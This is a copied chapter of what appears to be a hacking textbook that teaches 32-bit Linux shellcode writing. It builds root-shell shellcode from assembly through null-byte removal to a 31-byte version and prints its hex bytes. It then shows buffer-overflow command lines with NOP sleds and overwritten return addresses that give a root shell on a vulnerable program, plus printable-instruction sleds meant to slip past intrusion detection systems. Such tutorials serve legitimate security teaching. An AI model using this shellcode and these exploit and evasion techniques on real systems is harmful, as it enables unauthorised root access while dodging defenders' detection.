· 11 years ago · Aug 18, 2015, 09:54 AM
10x2a0 Writing Shellcode
2
3
4Writing shellcode is a skill set that many people lack. Simply in the construction of shellcode itself, various hacking tricks must be employed. The shellcode must be self-contained and must avoid null bytes, because these will end the string. If the shellcode has a null byte in it, a strcpy() function will recognize that as the end of the string. In order to write a piece of shellcode, an understanding of the assembly language of the target processor is needed. In this case, it's x86 assembly language, and while this book can't explain x86 assembly in depth, it can explain a few of the salient points needed to write bytecode.
5
6There are two main types of assembly syntax for x86 assembly, AT&T syntax and Intel syntax. The two major assemblers in the Linux world are programs called gas (for AT&T syntax) and nasm (for Intel syntax). AT&T syntax is typically outputted by most disassembly functions, such as objdump and gdb. The disassembled procedure linkage table in the "Overwriting the Global Offset Table" section was displayed in AT&T syntax. However, Intel syntax tends to be much more readable, so for the purposes of writing shellcode, nasm-style Intel syntax will be used.
7
8Recall the processor registers discussed earlier, such as EIP, ESP, and EBP. These registers, among others, can be thought of as variables for assembly. However, because EIP, ESP, and EBP tend to be quite important, it's generally not wise to use them as general-purpose variables. The registers EAX, EBX, ECX, EDX, ESI, and EDI are all better suited for this purpose. These are all 32-bit registers, because the processor is a 32-bit processor. However, smaller chunks of these registers can be accessed using different registers. The 16-bit equivalents for EAX, EBX, ECX, and EDX are AX, BX, CX, and DX. The corresponding 8-bit equivalents are AL, BL, CL, and DL, which exist for backward compatibility. The smaller registers can also be used to create smaller instructions. This is useful when trying to create small bytecode.
9
100x2a1 Common Assembly Instructions
11Instructions in nasm-style syntax generally follow the style of:
12
13instruction <destination>, <source>
14
15The following are some instructions that will be used in the construction of shellcode.
16
17Instruction
18 Name/Syntax
19 Description
20
21
22--------------------------------------------------------------------------------
23
24mov
25 Move instruction
26 Used to set initial values
27
28 mov <dest>, <src>
29 Move the value from <src> into <dest>
30
31add
32 Add instruction
33 Used to add values
34
35 add <dest>, <src>
36 Add the value in <src> to <dest>
37
38sub
39 Subtract instruction
40 Used to subtract values
41
42 sub <dest>, <src>
43 Subtract the value in <src> from <dest>
44
45push
46 Push instruction
47 Used to push values to the stack
48
49 push <target>
50 Push the value in <target> to the stack
51
52pop
53 Pop instruction
54 Used to pop values from the stack
55
56 pop <target>
57 Pop a value from the stack into <target>
58
59jmp
60 Jump instruction
61 Used to change the EIP to a certain address
62
63 jmp <address>
64 Change the EIP to the address in <address>
65
66call
67 Call instruction
68 Used like a function call, to change the EIP to a certain address, while pushing a return address to the stack
69
70 call <address>
71 Push the address of the next instruction to the stack, and then change the EIP to the address in <address>
72
73lea
74 Load effective address
75 Used to get the address of a piece of memory
76
77 lea <dest>, <src>
78 Load the address of <src> into <dest>
79
80int
81 Interrupt
82 Used to send a signal to the kernel
83
84 int <value>
85 Call interrupt of <value>
86
87
880x2a2 Linux System Calls
89In addition to the raw assembly instructions found in the processor, Linux provides the programmer with a set of functions that can be easily executed from assembly. These are known as system calls, and they are triggered by using interrupts. A listing of enumerated system calls can be found in /usr/include/asm/unistd.h.
90
91$ head -n 80 /usr/include/asm/unistd.h
92#ifndef _ASM_I386_UNISTD_H_
93#define _ASM_I386_UNISTD_H_
94
95/*
96 * This file contains the system call numbers.
97 */
98
99#define __NR_exit 1
100#define __NR_fork 2
101#define __NR_read 3
102#define __NR_write 4
103#define __NR_open 5
104#define __NR_close 6
105#define __NR_waitpid 7
106#define __NR_creat 8
107#define __NR_link 9
108#define __NR_unlink 10
109#define __NR_execve 11
110#define __NR_chdir 12
111#define __NR_time 13
112#define __NR_mknod 14
113#define __NR_chmod 15
114#define __NR_lchown 16
115#define __NR_break 17
116#define __NR_oldstat 18
117#define __NR_lseek 19
118#define __NR_getpid 20
119#define __NR_mount 21
120#define __NR_umount 22
121#define __NR_setuid 23
122#define __NR_getuid 24
123#define __NR_stime 25
124#define __NR_ptrace 26
125#define __NR_alarm 27
126#define __NR_oldfstat 28
127#define __NR_pause 29
128#define __NR_utime 30
129#define __NR_stty 31
130#define __NR_gtty 32
131#define __NR_access 33
132#define __NR_nice 34
133#define __NR_ftime 35
134#define __NR_sync 36
135#define __NR_kill 37
136#define __NR_rename 38
137#define __NR_mkdir 39
138#define __NR_rmdir 40
139#define __NR_dup 41
140#define __NR_pipe 42
141#define __NR_times 43
142#define __NR_prof 44
143#define __NR_brk 45
144#define __NR_setgid 46
145#define __NR_getgid 47
146#define __NR_signal 48
147#define __NR_geteuid 49
148#define __NR_getegid 50
149#define __NR_acct 51
150#define __NR_umount2 52
151#define __NR_lock 53
152#define __NR_ioctl 54
153#define __NR_fcntl 55
154#define __NR_mpx 56
155#define __NR_setpgid 57
156#define __NR_ulimit 58
157#define __NR_oldolduname 59
158#define __NR_umask 60
159#define __NR_chroot 61
160#define __NR_ustat 62
161#define __NR_dup2 63
162#define __NR_getppid 64
163#define __NR_getpgrp 65
164#define __NR_setsid 66
165#define __NR_sigaction 67
166#define __NR_sgetmask 68
167#define __NR_ssetmask 69
168#define __NR_setreuid 70
169#define __NR_setregid 71
170#define __NR_sigsuspend 72
171#define __NR_sigpending 73
172
173Using the few simple assembly instructions explained in the previous section and the system calls found in unistd.h, many different assembly programs and pieces of bytecode can be written to perform many different functions.
174
1750x2a3 Hello, World!
176A simple "Hello, world!" program makes a convenient and stereotypical starting point to gain familiarity with system calls and assembly language.
177
178The "Hello, world!" program needs to write "Hello, world!" so the useful function in unistd.h is the write() function. Then to exit cleanly, the exit() function should be called to exit. This means the "Hello, world!" program needs to make two system calls, one to write() and one to exit().
179
180First, the arguments expected from the write() function need to be determined.
181
182$ man 2 write
183WRITE(2) Linux Programmer's Manual WRITE(2)
184
185NAME
186 write - write to a file descriptor
187SYNOPSIS
188 #include <unistd.h>
189
190 ssize_t write(int fd, const void *buf, size_t count);
191
192DESCRIPTION
193 write writes up to count bytes to the file referenced by
194 the file descriptor fd from the buffer starting at buf.
195 POSIX requires that a read() which can be proved to occur
196 after a write() has returned returns the new data. Note
197 that not all file systems are POSIX conforming.
198
199$ man 2 exit
200_EXIT(2) Linux Programmer's Manual _EXIT(2)
201
202The first argument is a file descriptor, which is an integer. The standard output device is 1, so to print to the terminal, this argument should be 1. The next argument is a pointer to a character buffer containing the string to be written. The final argument is the size of this character buffer.
203
204When making a system call in assembly, EAX, EBX, ECX, and EDX are used to determine which function to call and to set up the arguments for the function. Then a special interrupt (int 0x80) is used to tell the kernel to use these registers to call a function. EAX is used to designate which function is to be called, EBX is used for the first function argument, ECX for the second, and EDX for the third.
205
206So, to write "Hello, world!" to the terminal, the string Hello, world! must be placed somewhere in memory. Following proper memory-segmentation practices, it should be put somewhere in the data segment. Then the various assembled machine language instructions should be put in the text (or code) segment. These instructions will set EAX, EBX, ECX, and EDX appropriately and then call the system call interrupt.
207
208The value of 4 needs to be put into the EAX register, because the write() function is system call number 4. Then the value of 1 needs to be put into EBX, because the first argument of write() is an integer representing the file descriptor (in this case, it is the standard output device, which is 1). Next the address of the string in the data segment needs to be put into ECX. And finally, the length of this string (in this case, 13) needs to be put into EDX. After these registers are loaded, the system call interrupt is called, which will call the write() function.
209
210To exit cleanly, the exit() function needs to be called, and it should take a single argument of 0. So the value of 1 needs to be put into EAX, because exit() is system call number 1, and the value of 0 needs to be put into EBX, because the first and only argument should be 0. Then the system call interrupt should be called one last time.
211
212The assembly code to do all that looks something like this:
213
214hello.asm
215section .data ; section declaration
216
217msg db "Hello, world!" ; the string
218
219section .text ; section declaration
220
221global _start ; Default entry point for ELF linking
222
223_start:
224
225; write() call
226
227 mov eax, 4 ; put 4 into eax, since write is syscall #4
228 mov ebx, 1 ; put stdout into ebx, since the proper fd is 1
229 mov ecx, msg ; put the address of the string into ecx
230 mov edx, 13 ; put 13 into edx, since our string is 13 bytes
231 int 0x80 ; Call the kernel to make the system call happen
232
233; exit() call
234
235 mov eax,1 ; put 1 into eax, since exit is syscall #1
236 mov ebx,0 ; put 0 into ebx
237 int 0x80 ; Call the kernel to make the system call happen
238
239This code can be assembled and linked to create an executable binary program. The global _start line was needed to link the code properly as an Executable and Linking Format (ELF) binary. After the code is assembled as an ELF binary, it must be linked:
240
241$ nasm -f elf hello.asm
242$ ld hello.o
243$ ./a.out
244Hello, world!
245
246Excellent. This means the code works. Because this program really isn't that interesting to convert into bytecode, let's look at another more useful program.
247
2480x2a4 Shell-Spawning Code
249Shell-spawning code is simple code that executes a shell. This code can be converted into shellcode. The two functions that will be needed are execve() and setreuid(), which are system call numbers 11 and 70 respectively. The execve() call is used to actually execute /bin/sh. The setreuid() call is used to restore root privileges, in case they are dropped. Many suid root programs will drop root privileges whenever they can for security reasons, and if these privileges aren't properly restored in the shellcode, all that will be spawned is a normal user shell.
250
251There's no need for an exit() function call, because an interactive program is being spawned. An exit() function wouldn't hurt, but it has been left out of this example, because ultimately the goal is to make this code as small as possible.
252
253shell.asm
254section .data ; section declaration
255
256filepath db "/bin/shXAAAABBBB" ; the string
257
258section .text ; section declaration
259
260global _start ; Default entry point for ELF linking
261
262_start:
263
264; setreuid(uid_t ruid, uid_t euid)
265
266 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
267 mov ebx, 0 ; put 0 into ebx, to set real uid to root
268 mov ecx, 0 ; put 0 into ecx, to set effective uid to root
269 int 0x80 ; Call the kernel to make the system call happen
270
271; execve(const char *filename, char *const argv [], char *const envp[])
272
273 mov eax, 0 ; put 0 into eax
274 mov ebx, filepath ; put the address of the string into ebx
275 mov [ebx+7], al ; put the 0 from eax where the X is in the string
276 ; ( 7 bytes offset from the beginning)
277 mov [ebx+8], ebx ; put the address of the string from ebx where the
278 ; AAAA is in the string ( 8 bytes offset)
279 mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
280 ; BBBB is in the string ( 12 bytes offset)
281 mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
282 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the
283 ; string into ecx
284 lea edx, [ebx+12] ; Load the address of where the BBBB is in the
285 ; string into edx
286 int 0x80 ; Call the kernel to make the system call happen
287
288This code is a little bit more complex than the previous example. The first set of instructions that should look new are these:
289
290mov [ebx+7], al ; put the 0 from eax where the X is in the string
291 ; ( 7 bytes offset from the beginning)
292mov [ebx+8], ebx ; put the address of the string from ebx where the
293 ; AAAA is in the string ( 8 bytes offset)
294mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
295 ; BBBB is in the string ( 12 bytes offset)
296
297The [ebx+7], tells the computer to move the source value into the address found in the EBX register, but offset by 7 bytes from the beginning. The use of the 8-bit AL register instead of the 32-bit EAX register tells the assembler to only move the first byte from the EAX register, instead of all 4 bytes. Because EBX already has the address of the string "/bin/shXAAAABBBB", this instruction will move a single byte from the EAX register into the string at the seventh position, right over the X, as seen here:
298
2990 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
300/ b i n / s h X A A A A B B B B
301
302The next two instructions do the same thing, but they use the full 32-bit registers and offsets that will cause the moved bytes to overwrite "AAAA" and "BBBB" in the string, respectively. Because EBX holds the address of the string, and EAX holds the value of 0, the "AAAA" in the string will be overwritten with the address of the beginning of the string, and "BBBB" will be overwritten with zeros, which is a null address.
303
304The next two instructions that should look new are these:
305
306lea ecx, [ebx+8] ; Load the address of where the AAAA was in the
307 ; string into ecx
308lea edx, [ebx+12] ; Load the address of where the BBBB is in the
309 ; string into edx
310
311These are load effective address (lea) instructions, which copy the address of the source into the destination. In this case, they copy the address of "AAAA" in the string into the ECX register, and the address of "BBBB" in the string into the EDX register. This apparent assembly language prestidigitation is needed because the last two arguments for the execve() function need to be pointers of pointers. This means the argument should be an address to an address that contains the final piece of information. In this case, the ECX register now contains an address that points to another address (where "AAAA" was in the string), which in turn points to the beginning of the string. The EDX register similarly contains an address that points to a null address (where "BBBB" was in the string).
312
313Now let's try to assemble and link this piece of code to see if it works.
314
315$ nasm -f elf shell.asm
316$ ld shell.o
317$ ./a.out
318sh-2.05a$ exit
319exit
320$ sudo chown root a.out
321$ sudo chmod +s a.out
322$ ./a.out
323sh-2.05a#
324
325Excellent, the program spawns a shell as it should. And if the program's owner is changed to root and the suid permission bit is set, it spawns a root shell.
326
3270x2a5 Avoiding Using Other Segments
328The program spawns a shell, but this code is still a long way from being proper shellcode. The biggest problem is that the string is being stored in the data segment. This is fine if a standalone program is being written, but shellcode isn't a nice executable program — it's a sliver of code that needs to be injected into a working program to properly execute. The string from the data segment must be stored with the rest of the assembly instructions somehow, and then a way to find the address of this string must be discovered. Worse yet, because the exact memory location of the running shellcode isn't known, the address must be found relative to the EIP. Luckily, the jmp and call instructions can use addressing relative to the EIP. Both of these instructions can be used to get the address of a string relative to the EIP, found in the same memory space as the executing instructions.
329
330A call instruction will move the EIP to a certain location in memory, just like a jmp instruction, but it will also push the return address onto the stack so the program execution can continue after the call instruction. If the instruction after the call instruction is a string instead of an instruction, the return address that is pushed to the stack could be popped off and used to reference the string instead of being used to return.
331
332It works like this: At the beginning of program execution, the program jumps to the bottom of the code where a call instruction and the string are located; the address of the string will be pushed to the stack when the call instruction is executed. The call instruction jumps the program execution back up to a relative location just below the prior jump instruction, and the string's address is popped off the stack. Now the program has a pointer to the string and can do its business, while the string can be neatly tucked at the end of the code.
333
334In assembly it looks something like this:
335
336jmp two
337one:
338pop ebx
339<program code here>
340two:
341call one
342db 'this is a string'
343
344First the program jumps down to two, and then it calls back up to one, while pushing the return address (which is the address of the string) onto the stack. Then the program pops this address off the stack into EBX, and it can execute whatever code it desires.
345
346The stripped-down shellcode using the call trick to get an address to the string looks something like this:
347
348shellcode.asm
349BITS 32
350
351; setreuid(uid_t ruid, uid_t euid)
352
353 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
354 mov ebx, 0 ; put 0 into ebx, to set real uid to root
355 mov ecx, 0 ; put 0 into ecx, to set effective uid to root
356 int 0x80 ; Call the kernel to make the system call happen
357
358 jmp short two ; Jump down to the bottom for the call trick
359one:
360 pop ebx ; pop the "return address" from the stack
361 ; to put the address of the string into ebx
362
363; execve(const char *filename, char *const argv [], char *const envp[])
364 mov eax, 0 ; put 0 into eax
365 mov [ebx+7], al ; put the 0 from eax where the X is in the string
366 ; ( 7 bytes offset from the beginning)
367 mov [ebx+8], ebx ; put the address of the string from ebx where the
368 ; AAAA is in the string ( 8 bytes offset)
369 mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the
370 ; BBBB is in the string ( 12 bytes offset)
371 mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
372 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
373 ; into ecx
374 lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
375 ; into edx
376 int 0x80 ; Call the kernel to make the system call happen
377two:
378 call one ; Use a call to get back to the top and get the
379 db '/bin/shXAAAABBBB' ; address of this string
380
3810x2a6 Removing Null Bytes
382If the previous piece of code is assembled and examined in a hex editor, it will be apparent that it still isn't usable as shellcode yet.
383
384$ nasm shellcode.asm
385$ hexeditor shellcode
386
38700000000 B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD .F..............
38800000010 80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89 ...[......C..[..
38900000020 43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8 C.......K..S....
39000000030 DF FF FF FF 2F 62 69 6E 2F 73 68 58 41 41 41 41 ..../bin/shXAAAA
39100000040 42 42 42 42 BBBB
392
393Any null byte in the shellcode (the ones shown in bold) will be considered the end of the string, causing only the first 2 bytes of the shellcode to be copied into the buffer. In order to get the shellcode to copy into buffers properly, all of the null bytes must be eliminated.
394
395Places in the code where the static value of 0 is moved into a register are obvious sources of null bytes in the assembled shellcode. In order to eliminate null bytes and maintain functionality, a method must be devised for getting the static value of 0 into a register without actually using the value 0. One potential option is to move an arbitrary 32-bit number into the register and then subtract that value from the register using the mov and sub instructions.
396
397mov ebx, 0x11223344
398sub ebx, 0x11223344
399
400While this technique works, it also takes twice as many instructions, making the assembled shellcode larger than necessary. Luckily, there's a solution that will put the value of 0 into a register using only one instruction: XOR. The XOR instruction performs an exclusive OR operation on the bits in a register.
401
402An exclusive OR transforms bits as follows:
403
4041 xor 1 = 0
4050 xor 0 = 0
4061 xor 0 = 1
4070 xor 1 = 1
408
409Because 1 XORed with 1 results in a 0, and 0 XORed with 0 results in a 0, any value XORed with itself will result in 0. So if the XOR instruction is used to XOR the registers with themselves, the value of 0 will be put into each register using only one instruction and avoiding null bytes.
410
411After making the appropriate changes (shown in bold), the new shellcode looks like this:
412
413shellcode.asm
414BITS 32
415
416; setreuid(uid_t ruid, uid_t euid)
417 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
418 xor ebx, ebx ; put 0 into ebx, to set real uid to root
419 xor ecx, ecx ; put 0 into ecx, to set effective uid to root
420 int 0x80 ; Call the kernel to make the system call happen
421
422 jmp short two ; Jump down to the bottom for the call trick
423one:
424 pop ebx ; pop the "return address" from the stack
425 ; to put the address of the string into ebx
426
427; execve(const char *filename, char *const argv [], char *const envp[])
428 xor eax, eax ; put 0 into eax
429 mov [ebx+7], al ; put the 0 from eax where the X is in the string
430 ; ( 7 bytes offset from the beginning)
431 mov [ebx+8], ebx ; put the address of the string from ebx where the
432 ; AAAA is in the string ( 8 bytes offset)
433 mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
434 ; BBBB is in the string ( 12 bytes offset)
435 mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
436 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
437 ; into ecx
438 lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
439 ; into edx
440 int 0x80 ; Call the kernel to make the system call happen
441
442two:
443 call one ; Use a call to get back to the top and get the
444 db '/bin/shXAAAABBBB' ; address of this string
445
446After assembling this version of the shellcode, significantly fewer null bytes are found.
447
44800000000 B8 46 00 00 00 31 DB 31 C9 CD 80 EB 19 5B 31 C0 .F...1.1.....[1.
44900000010 88 43 07 89 5B 08 89 43 0C B8 0B 00 00 00 8D 4B .C..[..C.......K
45000000020 08 8D 53 0C CD 80 E8 E2 FF FF FF 2F 62 69 6E 2F ..S......../bin/
45100000030 73 68 58 41 41 41 41 42 42 42 42 shXAAAABBBB
452
453Looking at the first instruction of the shellcode and associating it with the assembled machine code, the culprit of the first three remaining null bytes will be found. This line
454
455mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
456
457assembles into
458
459B8 46 00 00 00
460
461The instruction mov eax assembles into the hex value of 0xB8, and the decimal value of 70 is 0x00000046 in hexadecimal. The three null bytes found afterward are just padding, because the assembler was told to copy a 32-bit value (four bytes). This is overkill, since the decimal value of 70 only requires eight bits (one byte). By using AL, the 8-bit equivalent of the EAX register, instead of the 32-bit register of EAX, the assembler will know to only copy over one byte. The new line
462
463mov al, 70 ; put 70 into eax, since setreuid is syscall #70
464
465assembles into
466
467B0 46
468
469Using an 8-bit register has eliminated the null bytes of padding, but the functionality is slightly different. Now only a single byte is moved, which does nothing to zero out the remaining three bytes of the register. In order to maintain functionality, the register must first be zeroed out, and then the single byte can be properly moved into it.
470
471xor eax, eax ; first eax must be 0 for the next instruction
472mov al, 70 ; put 70 into eax, since setreuid is syscall #70
473
474After making the appropriate changes (shown in bold), the new shellcode looks like this:
475
476shellcode.asm
477BITS 32
478
479; setreuid(uid_t ruid, uid_t euid)
480 xor eax, eax ; first eax must be 0 for the next instruction
481 mov al, 70 ; put 70 into eax, since setreuid is syscall #70
482 xor ebx, ebx ; put 0 into ebx, to set real uid to root
483 xor ecx, ecx ; put 0 into ecx, to set effective uid to root
484 int 0x80 ; Call the kernel to make the system call happen
485 jmp short two ; Jump down to the bottom for the call trick
486one:
487 pop ebx ; pop the "return address" from the stack
488 ; to put the address of the string into ebx
489
490; execve(const char *filename, char *const argv [], char *const envp[])
491 xor eax, eax ; put 0 into eax
492 mov [ebx+7], al ; put the 0 from eax where the X is in the string
493 ; ( 7 bytes offset from the beginning)
494 mov [ebx+8], ebx ; put the address of the string from ebx where the
495 ; AAAA is in the string ( 8 bytes offset)
496 mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
497 ; BBBB is in the string ( 12 bytes offset)
498 mov al, 11 ; Now put 11 into eax, since execve is syscall #11
499 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
500 ; into ecx
501 lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
502 ; into edx
503 int 0x80 ; Call the kernel to make the system call happen
504two:
505 call one ; Use a call to get back to the top and get the
506 db '/bin/shXAAAABBBB' ; address of this string
507
508Notice that there's no need to zero out the EAX register in the execve() portion of the code, because it has already been zeroed out in the beginning of that portion of code. If this piece of code is assembled and examined in a hex editor, there shouldn't be any null bytes left.
509
510$ nasm shellcode.asm
511$ hexedit shellcode
51200000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
51300000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
51400000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 58 41 ......./bin/shXA
51500000030 41 41 41 42 42 42 42 AAABBBB
516
517Now that no null bytes remain, the shellcode can be copied into buffers correctly.
518
519In addition to removing the null bytes, using 8-bit registers and instructions has reduced the size of the shellcode, even though an extra instruction was added. Smaller shellcode is actually better, because you won't always know the size of the target buffer to be exploited. This shellcode can actually be shrunk down by a few more bytes, though.
520
521The XAAAABBBB at the end of the /bin/sh string was added to properly allocate memory for the null byte and the two addresses that are later copied into there. Back when the shellcode was an actual program, this allocation was important, but because the shellcode is already hijacking memory that wasn't specifically allocated, there's no reason to be nice about it. This extra data can be safely eliminated, producing the following shellcode.
522
52300000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
52400000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
52500000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 ......./bin/sh
526
527This end result is a small piece of shellcode, devoid of null bytes.
528
529After putting in all that work to eliminate null bytes, though, a greater appreciation for one instruction, in particular, may be gained:
530
531mov [ebx+7], al ; put the 0 from eax where the X is in the string
532 ; ( 7 bytes offset from the beginning)
533
534This instruction is actually a trick to avoid null bytes. Because the string /bin/sh must be null terminated to actually be a string, the string should be followed by a null byte. But because this string is actually located in what is effectively the text (or code) segment, terminating the string with a null byte would put a null byte in the shellcode. By zeroing out the EAX register with an XOR instruction, and then copying a single byte where the null byte should be (where the X was), the code is able to modify itself while it's running to properly null-terminate its string without actually having a null byte in the code.
535
536This shellcode can be used in any number of exploits, and it is actually the exact same piece of shellcode used in all of the earlier exploits of this chapter.
537
5380x2a7 Even Smaller Shellcode Using the Stack
539There is yet another trick that can be used to make even smaller shellcode. The previous shellcode was 46 bytes; however, clever use of the stack can produce shellcode as small as 31 bytes. Instead of using the call trick to get a pointer to the /bin/sh string, this newer technique simply pushes the values to the stack and copies the stack pointer when needed. The following code shows this technique in its most basic form.
540
541stackshell.asm
542BITS 32
543
544; setreuid(uid_t ruid, uid_t euid)
545 xor eax, eax ; first eax must be 0 for the next instruction
546 mov al, 70 ; put 70 into eax, since setreuid is syscall #70
547 xor ebx, ebx ; put 0 into ebx, to set real uid to root
548 xor ecx, ecx ; put 0 into ecx, to set effective uid to root
549 int 0x80 ; Call the kernel to make the system call happen
550
551; execve(const char *filename, char *const argv [], char *const envp[])
552 push ecx ; push 4 bytes of null from ecx to the stack
553 push 0x68732f2f ; push "//sh" to the stack
554 push 0x6e69622f ; push "/bin" to the stack
555 mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
556 push ecx ; push 4 bytes of null from ecx to the stack
557 push ebx ; push ebx to the stack
558 mov ecx, esp ; put the address of ebx to ecx, via esp
559 xor edx, edx ; put 0 into edx
560 mov al, 11 ; put 11 into eax, since execve() is syscall #11
561 int 0x80 ; call the kernel to make the syscall happen
562
563The portion of the code responsible for the setreuid() call is exactly the same as the previous shellcode.asm, but the execve() call is handled differently. First 4 bytes of null are pushed to the stack to null terminate the string that is pushed to the stack in the next two push instructions (remember that the stack builds in reverse). Because each push instruction needs to be 4-byte words, /bin//sh is used instead of /bin/sh. These two strings are equivalent when used for the execve() call. The stack pointer will be right at the beginning of this string, so it gets copied into EBX. Then another null word is pushed to the stack, followed by EBX to provide a pointer to a pointer for the second argument for the exceve() call. The stack pointer is copied into ECX for this argument, and then EDX is zeroed. In the previous shellcode.asm, EDX was set to be a pointer that pointed to 4 bytes of null, however it turns out that this argument can simply be null. Finally, 11 is moved into EAX for the exeve() call and the kernel is called via interrupt. As the following output shows, this code is 33 bytes in size when assembled.
564
565$ nasm stackshell.asm
566$ wc -c stackshell
567 33 stackshell
568$ hexedit stackshell
56900000000 31 C9 31 DB 31 C0 B0 46 CD 80 51 68 2F 2F 73 68 1.1.1..F..Qh//sh
57000000010 68 2F 62 69 6E 89 E3 51 53 89 E1 31 D2 B0 0B CD h/bin..QS..1....
57100000020 80
572
573There are two tricks that can be used to shave two more bytes off this code. The first trick is to change the following:
574
575xor eax, eax ; first eax must be 0 for the next instruction
576mov al, 70 ; put 70 into eax, since setreuid is syscall #70
577
578to the functional equivalent code of
579
580
581push byte 70 ; push the byte value 70 to the stack
582pop eax ; pop the 4-byte word 70 from the stack
583
584These instructions are 1 byte smaller than the old instructions, but still accomplish basically the same thing. This takes advantage of the fact that the stack is built using 4-byte words, not single bytes. So when a single byte is pushed to the stack, it is automatically padded with zeros for a full 4-byte word. Then this can be popped off into the EAX register, providing a properly padded value without using null bytes. This will bring the shellcode down to 32 bytes.
585
586The second trick is to change the following:
587
588xor edx, edx ; put 0 into edx
589
590to the functional equivalent code of
591
592cdq ; put 0 into edx using the signed bit from eax
593
594The instruction cdq fills the EDX register with the signed bit from the EAX register. If EAX is a negative number, all of the bits in the EDX register will be filled with ones, and if EAX is a non-negative number (zero or positive), all the bits in the EDX register will be filled with zeros. In this case, EAX is a positive value, so EDX will be zeroed out. This instruction is 1 byte smaller than the XOR instruction, thus shaving yet another byte off the shellcode. So the final tiny shellcode looks like this:
595
596tinyshell.asm
597BITS 32
598
599; setreuid(uid_t ruid, uid_t euid)
600 push byte 70 ; push the byte value 70 to the stack
601 pop eax ; pop the 4-byte word 70 from the stack
602 xor ebx, ebx ; put 0 into ebx, to set real uid to root
603 xor ecx, ecx ; put 0 into ecx, to set effective uid to root
604 int 0x80 ; Call the kernel to make the system call happen
605
606; execve(const char *filename, char *const argv [], char *const envp[])
607 push ecx ; push 4 bytes of null from ecx to the stack
608 push 0x68732f2f ; push "//sh" to the stack
609 push 0x6e69622f ; push "/bin" to the stack
610 mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
611 push ecx ; push 4 bytes of null from ecx to the stack
612 push ebx ; push ebx to the stack
613 mov ecx, esp ; put the address of ebx to ecx, via esp
614 cdq ; put 0 into edx using the signed bit from eax
615
616 mov al, 11 ; put 11 into eax, since execve() is syscall #11
617 int 0x80 ; call the kernel to make the syscall happen
618
619The following output shows that the assembled tinyshell.asm is 31 bytes.
620
621$ nasm tinyshell.asm
622$ wc -c tinyshell
623 31 tinyshell
624$ hexedit tinyshell
62500000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
62600000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
627
628This shellcode can be used to exploit the vulnerable vuln program from the previous sections. A little command-line trick is used to get the value of the stack pointer, which compiles a tiny program, compiles it, executes it, and removes it. The program simply asks for a piece of memory on the stack, and then prints out the location of that memory. Also, the NOP sled is 15 bytes larger, because the shellcode is 15 bytes smaller.
629
630$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.?
6310xbffff884
632$ pcalc 202+46-31
633 217 0xd9 0y11011001
634$ ./vuln 'perl -e 'print "\x90"x217;'"cat tinyshell"perl -e 'print
635"\x84\xf8\xff\xbf"x70;''
636sh-2.05b# whoami
637root
638sh-2.05b#
639
6400x2a8 Printable ASCII Instructions
641There are a few useful assembled x86 instructions that map directly to printable ASCII characters. Some simple single-byte instructions are the increment and decrement instructions, inc and dec. These instructions just add or subtract one from the corresponding register.
642
643Instruction
644 Hex
645 ASCII
646
647
648--------------------------------------------------------------------------------
649
650inc eax
651 0x40
652 @
653
654inc ebx
655 0x43
656 C
657
658inc ecx
659 0x41
660 A
661
662inc edx
663 0x42
664 B
665
666dec eax
667 0x48
668 H
669
670dec ebx
671 0x4B
672 K
673
674dec ecx
675 0x49
676 I
677
678dec edx
679 0x4A
680 J
681
682
683Knowing these values can prove useful. Some intrusion detection systems (IDSs) try to detect exploits by looking for long sequences of NOP instructions, indicative of a NOP sled. Surgical precision is one way to avoid this kind of detection, but another alternative is to use a different single-byte instruction for the sled. Because the registers that will be used in the shellcode are zeroed out anyway, increment and decrement instructions before the zeroing effectively do nothing. That means the letter B could be used repeatedly instead of a NOP instruction consisting of the unprintable value of 0x90, as shown here.
684
685$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.?
6860xbffff884
687$ ./vuln 'perl -e 'print "B"x217;'"cat tinyshell"perl -e 'print
688"\x84\xf8\xff\xbf"x70;''
689sh-2.05b# whoami
690root
691sh-2.05a#
692
693Alternatively, these single-byte printable instructions can be used in combination, resulting in some clever foreshadowing:
694
695$ export SHELLCODE=HIJACKHACK'cat tinyshell'
696$ ./getenvaddr SHELLCODE
697SHELLCODE is located at 0xbffffa7e
698$ ./vuln2 'perl -e 'print "\x7e\xfa\xff\xbf"x8;''
699sh-2.05b# whoami
700root
701sh-2.05b#
702
